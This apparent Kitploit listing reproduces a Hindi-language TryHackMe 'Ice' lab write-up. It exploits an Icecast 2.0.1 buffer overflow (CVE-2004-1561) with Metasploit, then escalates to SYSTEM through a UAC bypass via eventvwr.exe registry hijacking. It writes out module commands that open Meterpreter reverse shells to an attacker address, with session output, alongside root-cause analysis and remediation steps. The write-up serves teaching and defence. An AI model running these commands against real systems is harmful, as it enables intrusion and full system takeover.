Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
thm-ice-icecast-rce-privesc — TryHackMe के Ice मशीन का पूर्ण समझौता — बफर ओवरफ्लो के माध्यम से Icecast 2.0.1 RCE (CVE-2004-1561), उसके बाद UAC बाईपास / COM अपहरण के माध्यम से Windows विशेषाधिकार वृद्धि। विस्तृत पद्धति और उपचार शामिल है। | Kitploit
उपकरण/GitHubGitHub/monseigneurpatas/thm-ice-icecast-rce-privesc
विशेषाधिकार वृद्धिटोहीभेद्यता विश्लेषणशोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
monseigneurpatas/thm-ice-icecast-rce-privesc

thm-ice-icecast-rce-privesc

TryHackMe के Ice मशीन का पूर्ण समझौता — बफर ओवरफ्लो के माध्यम से Icecast 2.0.1 RCE (CVE-2004-1561), उसके बाद UAC बाईपास / COM अपहरण के माध्यम से Windows विशेषाधिकार वृद्धि। विस्तृत पद्धति और उपचार शामिल है।

रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

TryHackMe — Ice: Icecast 2.0.1 RCE और Windows विशेषाधिकार वृद्धि

प्लेटफ़ॉर्म: TryHackMe लक्ष्य OS: Windows 7 / Windows Server 2008 R2 कठिनाई: आसान श्रेणी: बफ़र ओवरफ़्लो (RCE), स्थानीय विशेषाधिकार वृद्धि


सारांश

यह रिपोर्ट TryHackMe पर Ice मशीन के पूर्ण समझौते का दस्तावेज़ीकरण करती है, प्रारंभिक टोही से लेकर SYSTEM-स्तरीय विशेषाधिकार वृद्धि तक। लक्ष्य एक पुराने Icecast 2.0.1 स्ट्रीमिंग मीडिया सर्वर को उजागर करता है जो एक रिमोट बफ़र ओवरफ़्लो (CVE-2004-1561) के लिए असुरक्षित है जो क्राफ्टेड HTTP हेडर के माध्यम से मनमाना कोड निष्पादन की अनुमति देता है। प्रारंभिक पहुँच एक Meterpreter रिवर्स शेल के माध्यम से निम्न-विशेषाधिकार वाले उपयोगकर्ता के रूप में प्राप्त की गई थी। फिर NT AUTHORITY\SYSTEM में विशेषाधिकार वृद्धि एक Windows COM ऑब्जेक्ट हाइजैक भेद्यता (bypassuac_eventvwr) का दुरुपयोग करके प्राप्त की गई जो HKCU के अंतर्गत स्वचालित-एलिवेटिंग बाइनरी और रजिस्ट्री कुंजी रीडायरेक्शन का लाभ उठाती है।

चरणतकनीकपरिणाम
टोहीarp-scan, nmapहोस्ट + 7 खुले पोर्ट पहचाने गए
प्रारंभिक पहुँचIcecast HTTP हेडर बफ़र ओवरफ़्लो (CVE-2004-1561)स्थानीय उपयोगकर्ता के रूप में Meterpreter सत्र
विशेषाधिकार वृद्धिbypassuac_eventvwr (COM/रजिस्ट्री अपहरण)SYSTEM शेल

1. टोही

1.1 होस्ट डिस्कवरी

स्थानीय नेटवर्क पर लक्ष्य का IP पता पहचानने के लिए ARP स्कैन का उपयोग किया गया।

root@kitploit:~
arp-scan -l

ARP स्कैन और Nmap परिणाम

लक्ष्य 192.168.37.138 पर पहचाना गया।

1.2 पोर्ट और सेवा गणना

लक्ष्य के विरुद्ध सेवा/संस्करण पहचान के साथ पूर्ण SYN स्कैन चलाया गया:

root@kitploit:~
nmap -sS -sV 192.168.37.138

परिणाम:

होस्ट DARK-PC के रूप में फ़िंगरप्रिंट किया गया, एक Windows मशीन। पोर्ट 8000 पर चल रहा Icecast सबसे आशाजनक आक्रमण सतह के रूप में सामने आया — यह एक मानक Windows सेवा नहीं है और ऐतिहासिक CVE ले जाने के लिए जाना जाता है।


2. भेद्यता पहचान

ज्ञात Icecast भेद्यताओं की खोज ने CVE-2004-1561 को सतह पर लाया:

Icecast 2.0.1 और पूर्व संस्करणों में बफ़र ओवरफ़्लो रिमोट हमलावरों को बड़ी संख्या में हेडर वाले HTTP अनुरोध के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देता है।

एक मिलता-जुलता Metasploit मॉड्यूल पुष्टि किया गया:

root@kitploit:~
search CVE-2004-1561

Metasploit में CVE खोज

root@kitploit:~
exploit/windows/http/icecast_header   2004-09-28   great   No   Icecast Header Overwrite

3. शोषण — प्रारंभिक पहुँच

3.1 मूल कारण

Icecast 2.0.1 HTTP हेडर की संख्या को उचित रूप से बाउंड-चेक करने में विफल रहता है। सर्वर के बफ़र की क्षमता से अधिक हेडर भेजकर, अतिरिक्त डेटा आसन्न मेमोरी में ओवरफ़्लो हो जाता है, आरक्षित हेडर-पार्सिंग बफ़र के बाहर डेटा को अधिलेखित कर देता है।

विशेष रूप से, ओवरफ़्लो स्टैक पर सहेजे गए वापसी पते (EIP) को दूषित करता है — वह पता जिस पर CPU अनुरोध को संभालने वाले फ़ंक्शन के वापस आने पर कूदता है। इस पते को नियंत्रित करके, एक हमलावर वैध वापसी बिंदु के बजाय निष्पादन को हमलावर-प्रदत्त शेलकोड की ओर पुनर्निर्देशित कर सकता है, जिसके परिणामस्वरूप Icecast प्रक्रिया के संदर्भ में मनमाना कोड निष्पादन होता है।

3.2 मॉड्यूल कॉन्फ़िगरेशन

root@kitploit:~
use exploit/windows/http/icecast_header
set RHOSTS 192.168.37.138
set RPORT 8000
set LHOST 192.168.37.133
set LPORT 4444

शोषण विकल्प और सफल रन

3.3 निष्पादन

root@kitploit:~
exploit
root@kitploit:~
[*] Started reverse TCP handler on 192.168.37.133:4444
[*] Sending stage (177734 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.138:49181)

एक निम्न-विशेषाधिकार वाले उपयोगकर्ता के रूप में एक Meterpreter सत्र स्थापित किया गया।


4. विशेषाधिकार वृद्धि

4.1 स्थानीय शोषण सुझावक

सक्रिय सत्र के साथ, लक्ष्य के पैच स्तर के लिए व्यवहार्य स्थानीय विशेषाधिकार वृद्धि पथों की पहचान करने के लिए Metasploit के अंतर्निहित सुझावक का उपयोग किया गया:

root@kitploit:~
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

स्थानीय शोषण सुझावक परिणाम

कई मॉड्यूल को संभावित रूप से व्यवहार्य के रूप में चिह्नित किया गया, जिसमें bypassuac_eventvwr शामिल है, जो अनपैच किए गए Windows 7 / Server 2008 R2 होस्ट को लक्षित करता है।

4.2 मूल कारण — COM अपहरण के माध्यम से UAC बाईपास

यह विशेषाधिकार वृद्धि पथ Windows की COM (Component Object Model) आर्किटेक्चर का दुरुपयोग करता है, जो विभिन्न भाषाओं में लिखे गए घटकों को इंटरऑपरेट करने की अनुमति देता है। COM ऑब्जेक्ट आमतौर पर साझा DLL पर निर्भर करते हैं, और सिस्टम किसी दिए गए COM ऑब्जेक्ट के लिए कौन सी DLL लोड करना है, यह रजिस्ट्री पथों के माध्यम से हल करता है — जिसमें वर्तमान उपयोगकर्ता के HKCU हाइव के अंतर्गत संग्रहीत पथ शामिल हैं।

eventvwr.exe एक स्वचालित-एलिवेटिंग Windows बाइनरी है (यह चुपचाप UAC एलिवेशन प्रॉम्प्ट को ट्रिगर करता है बिना प्रॉम्प्ट दिखाए, इसके मेनिफ़ेस्ट सेटिंग्स के कारण, डिफ़ॉल्ट UAC कॉन्फ़िगरेशन पर)। जब यह चलता है, तो यह एक COM ऑब्जेक्ट को हल करने और उससे संबद्ध DLL लोड करने के लिए HKCU से क्वेरी करता है।

शोषण इस लुकअप को हाइजैक करता है: यह वर्तमान उपयोगकर्ता के HKCU हाइव के अंतर्गत एक दुर्भावनापूर्ण रजिस्ट्री कुंजी लिखता है, जो वैध सिस्टम DLL के बजाय COM रिज़ॉल्यूशन को हमलावर-नियंत्रित पेलोड की ओर इंगित करता है। क्योंकि eventvwr.exe स्वचालित रूप से एलिवेट होता है, यह जो पेलोड ट्रिगर करता है — इस मामले में एक कमांड शेल — उस अखंडता स्तर के साथ निष्पादित होता है जिस पर eventvwr.exe एलिवेट होता है, सत्र को एक मानक उपयोगकर्ता से उच्च-विशेषाधिकार वाले संदर्भ में बढ़ाता है, बिना कभी दृश्य UAC प्रॉम्प्ट प्रस्तुत किए।

4.3 निष्पादन

root@kitploit:~
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST 192.168.37.133
set LPORT 4444
exploit

विशेषाधिकार वृद्धि शोषण सफलता

root@kitploit:~
[*] UAC is enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[*] Meterpreter session 2 opened (192.168.37.133:4444 -> 192.168.37.138:49180)
[*] Cleaning up registry keys ...

C:\Windows\system32>

एक दूसरा Meterpreter सत्र एक एलिवेटेड शेल के साथ खोला गया, जो सीधे C:\Windows\system32 में गिरा, विशेषाधिकार वृद्धि की पुष्टि करता है।


5. निष्कर्षों का सारांश

#निष्कर्षगंभीरताCVE / संदर्भ

6. उपाय

  1. Icecast को पैच या बदलें। संस्करण 2.0.1 दो दशकों से अधिक पुराना है; नवीनतम अनुरक्षित रिलीज़ में अपग्रेड करें या यदि अप्रयुक्त है तो सेवा को निष्क्रिय करें।
  2. स्ट्रीमिंग/मीडिया सेवाओं के एक्सपोज़र को केवल आंतरिक नेटवर्क तक सीमित करें — उन्हें स्पष्ट व्यावसायिक आवश्यकता के बिना इंटरनेट या LAN-व्यापी पहुँच योग्य नहीं होना चाहिए।
  3. वर्तमान Windows अपडेट लागू करें। eventvwr.exe स्वचालित-एलिवेशन दुरुपयोग को बाद के Windows बिल्ड में पैच किया गया था; यह हमला पूरी तरह से अपडेटेड, आधुनिक Windows संस्करणों के विरुद्ध काम नहीं करता है।
  4. UAC सेटिंग्स को डिफ़ॉल्ट स्तर के बजाय "हमेशा सूचित करें" पर सख्त करें, जो कई मौन-स्वचालित-एलिवेशन दुरुपयोग पथों को बंद कर देता है।
  5. न्यूनतम विशेषाधिकार का सिद्धांत: समझौता किया गया खाता स्थानीय प्रशासक समूह का हिस्सा नहीं होना चाहिए था, जिसने पहली बार में UAC बाईपास तकनीक को सफल होने दिया।

उपयोग किए गए उपकरण

  • arp-scan, nmap — टोही
  • Metasploit Framework (msfconsole) — शोषण और पोस्ट-शोषण
  • Meterpreter — पोस्ट-शोषण शेल

प्रदर्शित कौशल

  • नेटवर्क टोही और सेवा गणना
  • CVE अनुसंधान और शोषण-से-भेद्यता मानचित्रण
  • मेमोरी भ्रष्टाचार / बफ़र ओवरफ़्लो शोषण अवधारणाएँ (EIP ओवरराइट)
  • Windows आंतरिक: COM ऑब्जेक्ट रिज़ॉल्यूशन, रजिस्ट्री अपहरण, UAC बाईपास तंत्र
  • पूर्ण आक्रमण श्रृंखला दस्तावेज़ीकरण (टोही → शोषण → प्रिवेस्क → उपाय)
टूल डाउनलोड करें
पोर्टसेवासंस्करण
135/tcpmsrpcMicrosoft Windows RPC
139/tcpnetbios-ssnMicrosoft Windows netbios-ssn
445/tcpmicrosoft-dsWindows 7–10 (कार्यसमूह: WORKGROUP)
5357/tcphttpMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcphttpIcecast स्ट्रीमिंग मीडिया सर्वर
49152–49157/tcpmsrpcMicrosoft Windows RPC
1Icecast 2.0.1 HTTP हेडर बफ़र ओवरफ़्लो जो रिमोट कोड निष्पादन की ओर ले जाता हैगंभीरCVE-2004-1561
2COM/रजिस्ट्री अपहरण के माध्यम से UAC बाईपास (eventvwr.exe स्वचालित-एलिवेशन)उच्चज्ञात Windows 7/Server 2008 R2 UAC डिज़ाइन कमज़ोरी